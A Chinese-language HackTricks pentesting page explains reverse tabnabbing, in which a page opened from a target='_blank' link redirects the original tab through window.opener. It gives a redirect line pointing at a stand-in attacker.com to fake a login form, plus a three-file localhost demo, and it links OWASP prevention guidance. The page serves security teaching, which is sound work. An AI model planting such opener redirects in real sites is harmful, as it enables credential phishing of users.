hacktricks/pentesting-web/reverse-tab-nabbing.md

117 lines
5.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
# 描述
在一个**攻击者**可以**控制**一个将被受害者点击的带有属性**`target="_blank" rel="opener"`**的**`<a`**标签的**`href`**参数的情况下**攻击者**可以将这个**链接**指向一个由他控制的网站一个**恶意****网站**)。然后一旦**受害者点击**链接并访问攻击者的网站这个**恶意****网站**将能够通过javascript对象**`window.opener`****控制****原始****页面**。\
如果页面没有**`rel="opener"`**但包含`target="_blank"`并且也没有`rel="noopener"`它也可能存在漏洞
滥用这种行为的常见方式是通过`window.opener.location = https://attacker.com/victim.html`来**更改原始网页的位置**,将其指向攻击者控制的看起来**像原始网站**的网站,以便**模仿**原始网站的**登录表单**并向用户索要凭据。
然而请注意由于**攻击者现在可以控制原始网站的窗口对象**他可以以其他方式滥用它来执行**更隐蔽的攻击**也许修改javascript事件以将信息传输到由他控制的服务器
# 概述
## 带有后向链接
当未使用预防属性时父页面和子页面之间的链接
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
## 没有后向链接
当使用预防属性时父页面和子页面之间的链接
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
## 示例 <a href="#examples" id="examples"></a>
在一个文件夹中创建以下页面并使用`python3 -m http.server`运行一个web服务器\
然后**访问**`http://127.0.0.1:8000/`vulnerable.html**点击**链接注意**原始网站URL****变化**。
{% code title="vulnerable.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
{% endcode %}
{% code title="malicious.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
{% endcode %}
{% code title="malicious_redir.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
{% endcode %}
## 可访问的属性 <a href="#accessible-properties" id="accessible-properties"></a>
在发生**跨域**访问跨不同域的情况下恶意站点可以访问由**opener** JavaScript对象引用指向的**window** JavaScript类实例的属性仅限于以下内容
- **`opener.closed`**通过访问此属性可以确定窗口是否已关闭并返回一个布尔值
- **`opener.frames`**此属性提供对当前窗口内所有iframe元素的访问权限
- **`opener.length`**此属性返回当前窗口中存在的iframe元素的数量
- **`opener.opener`**通过此属性可以获取对打开当前窗口的窗口的引用
- **`opener.parent`**此属性返回当前窗口的父窗口
- **`opener.self`**此属性提供对当前窗口本身的访问权限
- **`opener.top`**此属性返回最顶层的浏览器窗口
然而在域相同的情况下恶意站点可以访问由[**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript对象引用公开的所有属性
# 预防措施
预防信息已记录在[HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing)
## 参考
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家[NFTs](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>